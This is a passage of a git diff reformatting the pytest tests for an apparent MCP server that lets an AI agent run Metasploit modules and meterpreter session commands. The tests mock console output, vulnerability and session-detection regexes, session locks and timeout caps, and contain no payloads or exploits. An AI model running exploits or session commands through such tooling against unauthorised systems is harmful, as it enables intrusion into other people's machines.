exit_terms_regexes=[IS_VULNERABLE_RE] ) - + # Should return early when exit term matches (after idle period) - assert 'appears vulnerable' in result.lower() + assert "appears vulnerable" in result.lower() # Should not have waited for full timeout (idle timeout is 2s, check interval is 0.1s = ~20 calls) assert call_count <= 25 # Should exit early after idle period @@ -262,42 +267,37 @@ async def test_run_command_safely_with_exit_terms_session(self, mock_console): """Test that exit terms cause early return when session opened.""" # Simulate console output with session opened message call_count = 0 + def mock_read(): nonlocal call_count call_count += 1 if call_count == 1: # First read: return session opened message return { - 'data': '[*] Exploit completed, but no session was created.\n[*] meterpreter session 1 opened\n', - 'prompt': '', - 'busy': False + "data": "[*] Exploit completed, but no session was created.\n[*] meterpreter session 1 opened\n", + "prompt": "", + "busy": False, } elif call_count <= 5: # Subsequent reads: no new data (simulating idle period) - return { - 'data': '', - 'prompt': '', - 'busy': False - } + return {"data": "", "prompt": "", "busy": False} else: # After idle period, return prompt return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - + mock_console.read.side_effect = mock_read - + # Use SESSION_OPENED_RE as exit term result = await run_command_safely( - mock_console, - 'exploit', - exit_terms_regexes=[SESSION_OPENED_RE] + mock_console, "exploit", exit_terms_regexes=[SESSION_OPENED_RE] ) - + # Should return early when exit term matches - assert 'session' in result.lower() or 'meterpreter' in result.lower() + assert "session" in result.lower() or "meterpreter" in result.lower() # Should not have waited for full timeout (idle timeout is 2s, check interval is 0.1s = ~20 calls) assert call_count <= 25 # Should exit early after idle period @@ -306,40 +306,31 @@ async def test_run_command_safely_with_exit_terms_no_match(self, mock_console): """Test that exit terms don't cause early return when no match.""" # Simulate console output without exit terms call_count = 0 + def mock_read(): nonlocal call_count call_count += 1 if call_count == 1: - return { - 'data': 'Some regular output\n', - 'prompt': '', - 'busy': False - } + return {"data": "Some regular output\n", "prompt": "", "busy": False} elif call_count <= 5: - return { - 'data': '', - 'prompt': '', - 'busy': False - } + return {"data": "", "prompt": "", "busy": False} else: # Return prompt after normal completion return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - + mock_console.read.side_effect = mock_read - + # Use exit terms that won't match result = await run_command_safely( - mock_console, - 'help', - exit_terms_regexes=[IS_VULNERABLE_RE, IS_NOT_VULNERABLE_RE] + mock_console, "help", exit_terms_regexes=[IS_VULNERABLE_RE, IS_NOT_VULNERABLE_RE] ) - + # Should complete normally (wait for prompt) - assert 'Some regular output' in result + assert "Some regular output" in result # Should have waited for prompt assert call_count >= 5 @@ -348,39 +339,30 @@ async def test_run_command_safely_with_exit_terms_multiple_patterns(self, mock_c """Test that exit terms work with multiple patterns.""" # Simulate console output with one of the exit terms call_count = 0 + def mock_read(): nonlocal call_count call_count += 1 if call_count == 1: - return { - 'data': 'The target is not vulnerable\n', - 'prompt': '', - 'busy': False - } + return {"data": "The target is not vulnerable\n", "prompt": "", "busy": False} elif call_count <= 5: - return { - 'data': '', - 'prompt': '', - 'busy': False - } + return {"data": "", "prompt": "", "busy": False} else: return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - + mock_console.read.side_effect = mock_read - + # Use multiple exit terms result = await run_command_safely( - mock_console, - 'check', - exit_terms_regexes=[IS_VULNERABLE_RE, IS_NOT_VULNERABLE_RE] + mock_console, "check", exit_terms_regexes=[IS_VULNERABLE_RE, IS_NOT_VULNERABLE_RE] ) - + # Should return early when one pattern matches - assert 'not vulnerable' in result.lower() + assert "not vulnerable" in result.lower() # Should not have waited for full timeout (idle timeout is 2s, check interval is 0.1s = ~20 calls) assert call_count <= 25 # Should exit early after idle period @@ -389,29 +371,26 @@ async def test_run_command_safely_without_exit_terms(self, mock_console): """Test that run_command_safely works normally without exit terms.""" # Simulate normal console output call_count = 0 + def mock_read(): nonlocal call_count call_count += 1 if call_count == 1: - return { - 'data': 'Command output\n', - 'prompt': '', - 'busy': False - } + return {"data": "Command output\n", "prompt": "", "busy": False} else: return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - + mock_console.read.side_effect = mock_read - + # No exit terms - result = await run_command_safely(mock_console, 'help') - + result = await run_command_safely(mock_console, "help") + # Should complete normally - assert 'Command output' in result + assert "Command output" in result assert call_count >= 2 # Should wait for prompt @@ -431,57 +410,50 @@ async def test_execute_module_console_with_exit_terms(self, mock_console): """Test _execute_module_console passes exit terms to run_command_safely.""" # Mock console reads call_count = 0 + def mock_read(): nonlocal call_count call_count += 1 if call_count == 1: # Setup command response return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } elif call_count == 2: # Module output with vulnerability - return { - 'data': 'The target appears vulnerable\n', - 'prompt': '', - 'busy': False - } + return {"data": "The target appears vulnerable\n", "prompt": "", "busy": False} elif call_count <= 6: # Idle period - return { - 'data': '', - 'prompt': '', - 'busy': False - } + return {"data": "", "prompt": "", "busy": False} else: # Final prompt return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - + mock_console.read.side_effect = mock_read - + # Mock get_msf_console - with patch('metasploit_mcp.server.get_msf_console') as mock_get_console: + with patch("metasploit_mcp.server.get_msf_console") as mock_get_console: mock_get_console.return_value.__aenter__.return_value = mock_console mock_get_console.return_value.__aexit__.return_value = None - + # Call with exit terms result = await _execute_module_console( - module_type='exploit', - module_name='test/module', + module_type="exploit", + module_name="test/module", module_options={}, - command='check', - exit_terms_regexes=[IS_VULNERABLE_RE, IS_NOT_VULNERABLE_RE] + command="check", + exit_terms_regexes=[IS_VULNERABLE_RE, IS_NOT_VULNERABLE_RE], ) - + # Should return result with module output - assert result.get('status') in ['success', 'error', 'warning', 'no_session'] - assert 'module_output' in result + assert result.get("status") in ["success", "error", "warning", "no_session"] + assert "module_output" in result # Should have used exit terms (early return) - idle timeout is 2s, check interval is 0.1s assert call_count <= 30 # Should exit early after idle period @@ -490,46 +462,40 @@ async def test_execute_module_console_without_exit_terms(self, mock_console): """Test _execute_module_console works without exit terms.""" # Mock console reads call_count = 0 + def mock_read(): nonlocal call_count call_count += 1 if call_count == 1: return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } elif call_count == 2: - return { - 'data': 'Module output\n', - 'prompt': '', - 'busy': False - } + return {"data": "Module output\n", "prompt": "", "busy": False} else: return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - + mock_console.read.side_effect = mock_read - + # Mock get_msf_console - with patch('metasploit_mcp.server.get_msf_console') as mock_get_console: + with patch("metasploit_mcp.server.get_msf_console") as mock_get_console: mock_get_console.return_value.__aenter__.return_value = mock_console mock_get_console.return_value.__aexit__.return_value = None - + # Call without exit terms result = await _execute_module_console( - module_type='auxiliary', - module_name='test/module', - module_options={}, - command='run' + module_type="auxiliary", module_name="test/module", module_options={}, command="run" ) - + # Should return result normally - assert result.get('status') in ['success', 'error', 'warning', 'no_session'] - assert 'module_output' in result + assert result.get("status") in ["success", "error", "warning", "no_session"] + assert "module_output" in result class TestVulnerabilityCheckWithRegex: @@ -544,12 +510,12 @@ def test_vulnerability_detection_with_regex(self): "The system appears to be vulnerable", "+ vulnerable", ] - + for output in vulnerable_outputs: - output_bytes = output.encode('utf-8', errors='replace') + output_bytes = output.encode("utf-8", errors="replace") is_vulnerable = bool(IS_VULNERABLE_RE.search(output_bytes)) assert is_vulnerable, f"Should detect vulnerability in: '{output}'" - + # Test not vulnerable cases not_vulnerable_outputs = [ "The target does not appear vulnerable", @@ -557,9 +523,9 @@ def test_vulnerability_detection_with_regex(self): "The target is not vulnerable to this exploit", "check failed", ] - + for output in not_vulnerable_outputs: - output_bytes = output.encode('utf-8', errors='replace') + output_bytes = output.encode("utf-8", errors="replace") is_not_vulnerable = bool(IS_NOT_VULNERABLE_RE.search(output_bytes)) assert is_not_vulnerable, f"Should detect non-vulnerability in: '{output}'" @@ -578,17 +544,19 @@ def test_session_detection_with_regex(self): "[*] meterpreter session 123 opened", "[*] command shell session 0 opened", ] - + for output in session_outputs: - output_bytes = output.encode('utf-8', errors='replace') + output_bytes = output.encode("utf-8", errors="replace") session_match = SESSION_OPENED_RE.search(output_bytes) assert session_match is not None, f"Should detect session in: '{output}'" - + # Verify we can extract session ID from the matched text matched_text = session_match.group(0) - session_id_match = re.search(rb'session\s+(\d+)', matched_text, re.IGNORECASE) - assert session_id_match is not None, f"Should extract session ID from matched text '{matched_text.decode('utf-8', errors='replace')}' for input: '{output}'" - + session_id_match = re.search(rb"session\s+(\d+)", matched_text, re.IGNORECASE) + assert ( + session_id_match is not None + ), f"Should extract session ID from matched text '{matched_text.decode('utf-8', errors='replace')}' for input: '{output}'" + # Test non-session cases non_session_outputs = [ "session opened", # Missing type @@ -596,13 +564,12 @@ def test_session_detection_with_regex(self): "session 1 opened", # Missing type "opened session 1", # Wrong order ] - + for output in non_session_outputs: - output_bytes = output.encode('utf-8', errors='replace') + output_bytes = output.encode("utf-8", errors="replace") session_match = SESSION_OPENED_RE.search(output_bytes) assert session_match is None, f"Should not detect session in: '{output}'" if __name__ == "__main__": pytest.main([__file__, "-v"]) - diff --git a/tests/test_session_locking.py b/tests/test_session_locking.py index 45a9fdc..8a35885 100644 --- a/tests/test_session_locking.py +++ b/tests/test_session_locking.py @@ -14,7 +14,7 @@ import pytest from unittest.mock import Mock, patch, AsyncMock -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) import metasploit_mcp.server as MetasploitMCP from metasploit_mcp.server import ( @@ -28,13 +28,13 @@ SESSION_LOCK_WAIT_TIMEOUT, ) - # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- + def _unwrap(tool_obj): - for attr in ('func', '__wrapped__', '_func', 'fn'): + for attr in ("func", "__wrapped__", "_func", "fn"): if hasattr(tool_obj, attr): return getattr(tool_obj, attr) return tool_obj @@ -48,7 +48,7 @@ def _make_mock_client(sessions_dict=None): """Build a MockMsfRpcClient with the given sessions.""" client = Mock() client.core = Mock() - client.core.version = {'version': '6.3.0'} + client.core.version = {"version": "6.3.0"} client.modules = Mock() client.sessions = Mock() client.jobs = Mock() @@ -73,6 +73,7 @@ def _make_mock_client(sessions_dict=None): # Fixtures # --------------------------------------------------------------------------- + @pytest.fixture(autouse=True) def _reset_session_lock_state(): """Clear all session locks and mode tracking between tests.""" @@ -87,7 +88,8 @@ def _reset_session_lock_state(): def mock_asyncio_to_thread(): async def _mock(func, *args, **kwargs): return func(*args, **kwargs) - with patch('asyncio.to_thread', side_effect=_mock): + + with patch("asyncio.to_thread", side_effect=_mock): yield @@ -95,6 +97,7 @@ async def _mock(func, *args, **kwargs): # Unit tests for lock helpers # --------------------------------------------------------------------------- + class TestGetSessionLock: @pytest.mark.asyncio async def test_creates_lock_on_first_call(self): @@ -158,14 +161,17 @@ async def test_get_session_object_uses_private_constructor_path(self, mock_async # Concurrency tests for send_session_command # --------------------------------------------------------------------------- + class TestSendSessionCommandLocking: @pytest.mark.asyncio async def test_concurrent_same_session_serialized(self, mock_asyncio_to_thread): """Two concurrent calls on the SAME session execute one after the other.""" - client, session_obj = _make_mock_client({ - "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, - }) + client, session_obj = _make_mock_client( + { + "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, + } + ) execution_order = [] @@ -177,7 +183,7 @@ def tracking_write(data): session_obj.write = Mock(side_effect=tracking_write) - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): r1, r2 = await asyncio.gather( send_session_command(1, "sysinfo"), send_session_command(1, "getuid"), @@ -190,19 +196,21 @@ def tracking_write(data): # scheduling, but we know one must finish before the other starts. starts = [i for i, e in enumerate(execution_order) if e.startswith("start-")] ends = [i for i, e in enumerate(execution_order) if e.startswith("end-")] - assert ends[0] < starts[1], ( - f"First command should finish before second starts: {execution_order}" - ) + assert ( + ends[0] < starts[1] + ), f"First command should finish before second starts: {execution_order}" @pytest.mark.asyncio async def test_different_sessions_not_blocked(self, mock_asyncio_to_thread): """Calls on DIFFERENT sessions should not block each other.""" - client, session_obj = _make_mock_client({ - "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, - "2": {"type": "meterpreter", "target_host": "10.0.0.2"}, - }) + client, session_obj = _make_mock_client( + { + "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, + "2": {"type": "meterpreter", "target_host": "10.0.0.2"}, + } + ) - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): r1, r2 = await asyncio.gather( send_session_command(1, "sysinfo"), send_session_command(2, "getuid"), @@ -215,15 +223,19 @@ async def test_different_sessions_not_blocked(self, mock_asyncio_to_thread): async def test_busy_status_on_lock_timeout(self, mock_asyncio_to_thread): """If the lock is held longer than SESSION_LOCK_WAIT_TIMEOUT the caller gets status='busy'.""" - client, session_obj = _make_mock_client({ - "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, - }) + client, session_obj = _make_mock_client( + { + "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, + } + ) lock = await _get_session_lock("1") await lock.acquire() - with patch('metasploit_mcp.server.get_msf_client', return_value=client), \ - patch('metasploit_mcp.server.SESSION_LOCK_WAIT_TIMEOUT', 0.1): + with ( + patch("metasploit_mcp.server.get_msf_client", return_value=client), + patch("metasploit_mcp.server.SESSION_LOCK_WAIT_TIMEOUT", 0.1), + ): result = await send_session_command(1, "sysinfo") lock.release() @@ -239,7 +251,7 @@ async def test_session_not_found_cleans_up_lock(self, mock_asyncio_to_thread): _session_locks["99"] = asyncio.Lock() session_shell_type["99"] = "meterpreter" - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): result = await send_session_command(99, "whoami") assert result["status"] == "error" @@ -250,7 +262,7 @@ async def test_session_not_found_cleans_up_lock(self, mock_asyncio_to_thread): async def test_int_keyed_session_lookup_succeeds(self, mock_asyncio_to_thread): """RPC returns int session IDs; command lookup should still succeed.""" client, _ = _make_mock_client({1: {"type": "meterpreter", "target_host": "10.0.0.1"}}) - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): result = await send_session_command(1, "whoami") assert result["status"] == "success" @@ -259,9 +271,11 @@ async def test_int_keyed_session_lookup_succeeds(self, mock_asyncio_to_thread): @pytest.mark.asyncio async def test_meterpreter_command_returns_on_inactivity(self, mock_asyncio_to_thread): """Meterpreter commands with output but no prompt should complete via inactivity.""" - client, session_obj = _make_mock_client({ - "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, - }) + client, session_obj = _make_mock_client( + { + "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, + } + ) read_chunks = ["uid=33(www-data)\n", "", "", ""] @@ -272,7 +286,7 @@ def _read(): session_obj.read = Mock(side_effect=_read) - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): result = await send_session_command( 1, "getuid", @@ -287,12 +301,14 @@ def _read(): @pytest.mark.asyncio async def test_meterpreter_command_timeout_returns_partial_output(self, mock_asyncio_to_thread): """Timeout should still return buffered output and mark reason=timeout.""" - client, session_obj = _make_mock_client({ - "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, - }) + client, session_obj = _make_mock_client( + { + "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, + } + ) session_obj.read = Mock(return_value="") - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): result = await send_session_command( 1, "sysinfo", @@ -309,6 +325,7 @@ async def test_meterpreter_command_timeout_returns_partial_output(self, mock_asy # Concurrency tests for terminate_session # --------------------------------------------------------------------------- + class TestTerminateSessionLocking: @pytest.mark.asyncio @@ -328,8 +345,10 @@ async def mock_to_thread(func, *args, **kwargs): return {} return result - with patch('metasploit_mcp.server.get_msf_client', return_value=client), \ - patch('asyncio.to_thread', side_effect=mock_to_thread): + with ( + patch("metasploit_mcp.server.get_msf_client", return_value=client), + patch("asyncio.to_thread", side_effect=mock_to_thread), + ): result = await terminate_session(1) assert result["status"] == "success" @@ -343,8 +362,10 @@ async def test_terminate_busy_when_locked(self, mock_asyncio_to_thread): lock = await _get_session_lock("1") await lock.acquire() - with patch('metasploit_mcp.server.get_msf_client', return_value=client), \ - patch('metasploit_mcp.server.SESSION_LOCK_WAIT_TIMEOUT', 0.1): + with ( + patch("metasploit_mcp.server.get_msf_client", return_value=client), + patch("metasploit_mcp.server.SESSION_LOCK_WAIT_TIMEOUT", 0.1), + ): result = await terminate_session(1) lock.release() @@ -368,8 +389,10 @@ async def mock_to_thread(func, *args, **kwargs): return {} return result - with patch('metasploit_mcp.server.get_msf_client', return_value=client), \ - patch('asyncio.to_thread', side_effect=mock_to_thread): + with ( + patch("metasploit_mcp.server.get_msf_client", return_value=client), + patch("asyncio.to_thread", side_effect=mock_to_thread), + ): result = await terminate_session(1) assert result["status"] == "success" @@ -382,7 +405,7 @@ async def test_terminate_not_found_cleans_up(self, mock_asyncio_to_thread): session_shell_type["50"] = "meterpreter" _session_locks["50"] = asyncio.Lock() - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): result = await terminate_session(50) assert result["status"] == "error" @@ -403,8 +426,10 @@ async def mock_to_thread(func, *args, **kwargs): return {} return result - with patch('metasploit_mcp.server.get_msf_client', return_value=client), \ - patch('asyncio.to_thread', side_effect=mock_to_thread): + with ( + patch("metasploit_mcp.server.get_msf_client", return_value=client), + patch("asyncio.to_thread", side_effect=mock_to_thread), + ): result = await terminate_session(1) assert result["status"] == "success" @@ -415,6 +440,7 @@ async def mock_to_thread(func, *args, **kwargs): # Lock release on error paths # --------------------------------------------------------------------------- + class TestLockReleaseOnErrors: @pytest.mark.asyncio @@ -422,12 +448,14 @@ async def test_lock_released_after_rpc_error(self, mock_asyncio_to_thread): """The session lock must be released even when an RPC error occurs.""" from pymetasploit3.msfrpc import MsfRpcError - client, session_obj = _make_mock_client({ - "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, - }) + client, session_obj = _make_mock_client( + { + "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, + } + ) session_obj.write = Mock(side_effect=MsfRpcError("RPC failure")) - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): result = await send_session_command(1, "sysinfo") assert result["status"] == "error" @@ -438,12 +466,14 @@ async def test_lock_released_after_rpc_error(self, mock_asyncio_to_thread): @pytest.mark.asyncio async def test_lock_released_after_unexpected_exception(self, mock_asyncio_to_thread): """Lock must be released even on unexpected exceptions.""" - client, session_obj = _make_mock_client({ - "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, - }) + client, session_obj = _make_mock_client( + { + "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, + } + ) session_obj.write = Mock(side_effect=RuntimeError("boom")) - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): result = await send_session_command(1, "sysinfo") assert result["status"] == "error" @@ -454,9 +484,11 @@ async def test_lock_released_after_unexpected_exception(self, mock_asyncio_to_th @pytest.mark.asyncio async def test_lock_released_after_timeout(self, mock_asyncio_to_thread): """Lock must be released when the command itself times out.""" - client, session_obj = _make_mock_client({ - "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, - }) + client, session_obj = _make_mock_client( + { + "1": {"type": "meterpreter", "target_host": "10.0.0.1"}, + } + ) async def slow_to_thread(func, *args, **kwargs): result = func(*args, **kwargs) @@ -464,8 +496,10 @@ async def slow_to_thread(func, *args, **kwargs): session_obj.read = Mock(return_value="") - with patch('metasploit_mcp.server.get_msf_client', return_value=client), \ - patch('asyncio.to_thread', side_effect=slow_to_thread): + with ( + patch("metasploit_mcp.server.get_msf_client", return_value=client), + patch("asyncio.to_thread", side_effect=slow_to_thread), + ): result = await send_session_command(1, "sysinfo", timeout_seconds=1) assert result["status"] == "timeout" diff --git a/tests/test_timeout_cap.py b/tests/test_timeout_cap.py index 81a0bef..b65d180 100644 --- a/tests/test_timeout_cap.py +++ b/tests/test_timeout_cap.py @@ -12,12 +12,13 @@ class TestTimeoutCapConstants: """Test timeout cap constant is defined correctly""" - + def test_max_tool_timeout_constant_exists(self): """Verify MAX_TOOL_TIMEOUT_SECONDS constant is defined""" from metasploit_mcp.server import MAX_TOOL_TIMEOUT_SECONDS + assert MAX_TOOL_TIMEOUT_SECONDS == 120 - + def test_default_timeout_constants_within_limit(self): """Verify default timeout constants don't exceed the max""" from metasploit_mcp.server import ( @@ -25,60 +26,72 @@ def test_default_timeout_constants_within_limit(self): SESSION_COMMAND_TIMEOUT, SESSION_READ_INACTIVITY_TIMEOUT, DEFAULT_SESSION_INACTIVITY_TIMEOUT, - MAX_TOOL_TIMEOUT_SECONDS + MAX_TOOL_TIMEOUT_SECONDS, ) - assert LONG_CONSOLE_READ_TIMEOUT <= MAX_TOOL_TIMEOUT_SECONDS, \ - f"LONG_CONSOLE_READ_TIMEOUT ({LONG_CONSOLE_READ_TIMEOUT}s) exceeds max ({MAX_TOOL_TIMEOUT_SECONDS}s)" - assert SESSION_COMMAND_TIMEOUT <= MAX_TOOL_TIMEOUT_SECONDS, \ - f"SESSION_COMMAND_TIMEOUT ({SESSION_COMMAND_TIMEOUT}s) exceeds max ({MAX_TOOL_TIMEOUT_SECONDS}s)" - assert SESSION_READ_INACTIVITY_TIMEOUT <= MAX_TOOL_TIMEOUT_SECONDS, \ - f"SESSION_READ_INACTIVITY_TIMEOUT ({SESSION_READ_INACTIVITY_TIMEOUT}s) exceeds max ({MAX_TOOL_TIMEOUT_SECONDS}s)" - assert DEFAULT_SESSION_INACTIVITY_TIMEOUT <= MAX_TOOL_TIMEOUT_SECONDS, \ - f"DEFAULT_SESSION_INACTIVITY_TIMEOUT ({DEFAULT_SESSION_INACTIVITY_TIMEOUT}s) exceeds max ({MAX_TOOL_TIMEOUT_SECONDS}s)" - + + assert ( + LONG_CONSOLE_READ_TIMEOUT <= MAX_TOOL_TIMEOUT_SECONDS + ), f"LONG_CONSOLE_READ_TIMEOUT ({LONG_CONSOLE_READ_TIMEOUT}s) exceeds max ({MAX_TOOL_TIMEOUT_SECONDS}s)" + assert ( + SESSION_COMMAND_TIMEOUT <= MAX_TOOL_TIMEOUT_SECONDS + ), f"SESSION_COMMAND_TIMEOUT ({SESSION_COMMAND_TIMEOUT}s) exceeds max ({MAX_TOOL_TIMEOUT_SECONDS}s)" + assert ( + SESSION_READ_INACTIVITY_TIMEOUT <= MAX_TOOL_TIMEOUT_SECONDS + ), f"SESSION_READ_INACTIVITY_TIMEOUT ({SESSION_READ_INACTIVITY_TIMEOUT}s) exceeds max ({MAX_TOOL_TIMEOUT_SECONDS}s)" + assert ( + DEFAULT_SESSION_INACTIVITY_TIMEOUT <= MAX_TOOL_TIMEOUT_SECONDS + ), f"DEFAULT_SESSION_INACTIVITY_TIMEOUT ({DEFAULT_SESSION_INACTIVITY_TIMEOUT}s) exceeds max ({MAX_TOOL_TIMEOUT_SECONDS}s)" + def test_max_tool_timeout_is_120(self): """Verify the max tool timeout is exactly 120 seconds""" from metasploit_mcp.server import MAX_TOOL_TIMEOUT_SECONDS - assert MAX_TOOL_TIMEOUT_SECONDS == 120, \ - f"MAX_TOOL_TIMEOUT_SECONDS should be 120, got {MAX_TOOL_TIMEOUT_SECONDS}" + + assert ( + MAX_TOOL_TIMEOUT_SECONDS == 120 + ), f"MAX_TOOL_TIMEOUT_SECONDS should be 120, got {MAX_TOOL_TIMEOUT_SECONDS}" class TestTimeoutCapLogic: """Test the timeout capping logic that's used in all tools""" - + def _apply_timeout_cap(self, timeout_seconds: int) -> int: """Replicate the timeout capping logic used in tools""" from metasploit_mcp.server import MAX_TOOL_TIMEOUT_SECONDS + if timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: return MAX_TOOL_TIMEOUT_SECONDS return timeout_seconds - - @pytest.mark.parametrize("input_timeout,expected_timeout", [ - (1, 1), # Minimum valid - (15, 15), # SESSION_COMMAND_TIMEOUT default - (30, 30), # Half minute - (60, 60), # LONG_CONSOLE_READ_TIMEOUT default - (90, 90), # 90 seconds - (119, 119), # Just under cap - (120, 120), # Exactly at cap - (121, 120), # Just over cap - should be capped - (180, 120), # 3 minutes - should be capped - (300, 120), # 5 minutes - should be capped - (600, 120), # 10 minutes - should be capped - (3600, 120), # 1 hour - should be capped - (86400, 120), # 1 day - should be capped - ]) + + @pytest.mark.parametrize( + "input_timeout,expected_timeout", + [ + (1, 1), # Minimum valid + (15, 15), # SESSION_COMMAND_TIMEOUT default + (30, 30), # Half minute + (60, 60), # LONG_CONSOLE_READ_TIMEOUT default + (90, 90), # 90 seconds + (119, 119), # Just under cap + (120, 120), # Exactly at cap + (121, 120), # Just over cap - should be capped + (180, 120), # 3 minutes - should be capped + (300, 120), # 5 minutes - should be capped + (600, 120), # 10 minutes - should be capped + (3600, 120), # 1 hour - should be capped + (86400, 120), # 1 day - should be capped + ], + ) def test_timeout_capping_values(self, input_timeout, expected_timeout): """Test the capping logic for various timeout values""" result = self._apply_timeout_cap(input_timeout) - assert result == expected_timeout, \ - f"Input {input_timeout}s should result in {expected_timeout}s, got {result}s" - + assert ( + result == expected_timeout + ), f"Input {input_timeout}s should result in {expected_timeout}s, got {result}s" + def test_timeout_cap_boundary_at_120(self): """Test boundary condition at exactly 120s""" assert self._apply_timeout_cap(120) == 120 assert self._apply_timeout_cap(121) == 120 - + def test_timeout_cap_preserves_low_values(self): """Test that low timeout values are preserved""" for timeout in [1, 5, 10, 15, 30, 60, 100, 119]: @@ -87,102 +100,122 @@ def test_timeout_cap_preserves_low_values(self): class TestTimeoutCapInSource: """Test that timeout capping is implemented in the source code by reading the file""" - + def test_source_contains_timeout_cap_constant(self): """Verify source code defines MAX_TOOL_TIMEOUT_SECONDS""" import os - + # Read the source file - source_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'src/metasploit_mcp/server.py') - with open(source_path, 'r') as f: + source_path = os.path.join( + os.path.dirname(os.path.dirname(__file__)), "src/metasploit_mcp/server.py" + ) + with open(source_path, "r") as f: source = f.read() - - assert 'MAX_TOOL_TIMEOUT_SECONDS = 120' in source, \ - "Source should define MAX_TOOL_TIMEOUT_SECONDS = 120" - + + assert ( + "MAX_TOOL_TIMEOUT_SECONDS = 120" in source + ), "Source should define MAX_TOOL_TIMEOUT_SECONDS = 120" + def test_run_exploit_uses_timeout_cap(self): """Verify run_exploit function checks timeout cap""" import os - - source_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'src/metasploit_mcp/server.py') - with open(source_path, 'r') as f: + + source_path = os.path.join( + os.path.dirname(os.path.dirname(__file__)), "src/metasploit_mcp/server.py" + ) + with open(source_path, "r") as f: source = f.read() - + # Find the run_exploit function and check it has the cap logic # The function should have: if timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: - assert 'async def run_exploit(' in source - + assert "async def run_exploit(" in source + # Find the section after run_exploit definition - run_exploit_start = source.find('async def run_exploit(') - run_exploit_end = source.find('\n@mcp.tool', run_exploit_start + 1) + run_exploit_start = source.find("async def run_exploit(") + run_exploit_end = source.find("\n@mcp.tool", run_exploit_start + 1) if run_exploit_end == -1: run_exploit_end = len(source) - + run_exploit_source = source[run_exploit_start:run_exploit_end] - - assert 'timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS' in run_exploit_source, \ - "run_exploit should check if timeout_seconds exceeds MAX_TOOL_TIMEOUT_SECONDS" - assert 'timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS' in run_exploit_source, \ - "run_exploit should cap timeout_seconds to MAX_TOOL_TIMEOUT_SECONDS" - assert 'inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS' in run_exploit_source, \ - "run_exploit should cap inactivity_timeout_seconds" - + + assert ( + "timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS" in run_exploit_source + ), "run_exploit should check if timeout_seconds exceeds MAX_TOOL_TIMEOUT_SECONDS" + assert ( + "timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS" in run_exploit_source + ), "run_exploit should cap timeout_seconds to MAX_TOOL_TIMEOUT_SECONDS" + assert ( + "inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS" in run_exploit_source + ), "run_exploit should cap inactivity_timeout_seconds" + def test_run_post_module_uses_timeout_cap(self): """Verify run_post_module function checks timeout cap""" import os - - source_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'src/metasploit_mcp/server.py') - with open(source_path, 